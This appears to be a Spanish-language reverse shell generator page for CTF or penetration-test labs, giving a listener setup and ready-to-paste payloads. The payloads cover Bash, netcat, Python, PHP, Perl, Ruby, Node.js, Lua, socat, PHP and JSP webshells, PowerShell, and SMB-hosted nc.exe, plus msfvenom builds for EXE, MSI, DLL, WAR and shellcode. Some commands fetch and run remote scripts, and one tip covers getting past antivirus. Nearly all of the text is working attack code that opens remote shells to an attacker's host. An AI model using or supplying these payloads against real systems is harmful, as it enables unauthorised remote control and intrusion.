Generador de reverse shells

Escribe tu IP (la de tun0) y el puerto en el que escuchas, y copia la shell que encaje con lo que hay instalado en la víctima. Después, mejora la shell con la chuleta de TTY.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Linux

Escuchar en tu máquina

netcat Atacante
nc -lvnp 443
netcat con historial y flechas (rlwrap) Atacante
rlwrap -cAr nc -lvnp 443
Saber tu IP de la VPN Atacante
ip -4 addr show tun0 | grep -oP '(?<=inet )[\d.]+'

Bash

Bash por /dev/tcp
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'

El bash -c del principio hace falta si el comando lo ejecuta sh (por ejemplo, desde una inyección de comandos).

Bash con descriptor 196
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; sh <&196 >&196 2>&196
Para inyecciones en URL (sin espacios ni &)
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F443%200%3E%261%22

Netcat

mkfifo (funciona con cualquier nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f
nc con -e
nc -e /bin/bash 10.10.14.5 443

Solo en versiones de nc que traen -e (nc.traditional, ncat).

BusyBox
busybox nc 10.10.14.5 443 -e sh

Lenguajes de scripting

Python 3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'
PHP
php -r '$s=fsockopen("10.10.14.5",443);exec("sh <&3 >&3 2>&3");'
Perl
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("sh -i <&%d >&%d 2>&%d",f,f,f)'
Node.js
node -e 'sh=require("child_process").spawn("sh");require("net").connect(443,"10.10.14.5",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this)})'
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','443');os.execute('sh -i <&3 >&3 2>&3');"

Shell con TTY completa (socat)

Escuchar Atacante
socat file:`tty`,raw,echo=0 tcp-listen:443
Conectar Víctima
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443

Si la víctima no tiene socat, súbele un binario estático (github.com/andrew-d/static-binaries).

Webshells

PHP

Webshell mínima
<?php system($_GET['cmd']); ?>

Úsala con ?cmd=id. Si system está deshabilitada, prueba passthru, shell_exec, exec o popen.

Webshell que lanza la reverse shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
Invocar la webshell con curl Atacante
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"

Otros lenguajes

JSP
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>
ASPX (Windows) Atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx

Windows

PowerShell

Reverse shell en una línea
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

Si el antivirus lo bloquea, pásalo por el codificador (PowerShell -enc) o usa Invoke-PowerShellTcp.

Nishang Invoke-PowerShellTcp desde tu servidor
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"

Sirve el script con python3 -m http.server 80 en la carpeta donde lo tengas.

Con binarios

nc.exe desde un recurso SMB tuyo
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 443

En tu máquina: impacket-smbserver share $(pwd) -smb2support (en la carpeta con nc.exe).

TTY completa en Windows (ConPtyShell) Víctima
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443
Listener para ConPtyShell Atacante
stty raw -echo; (stty size; cat) | nc -lvnp 443

msfvenom

Ejecutables

Linux ELF x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
Windows EXE x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
Windows MSI (para AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi
DLL de Windows (secuestro de DLL)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll

Web

WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war
PHP
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php

Shellcode

Shellcode en Python sin bytes nulos
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python
Shellcode en C para Windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c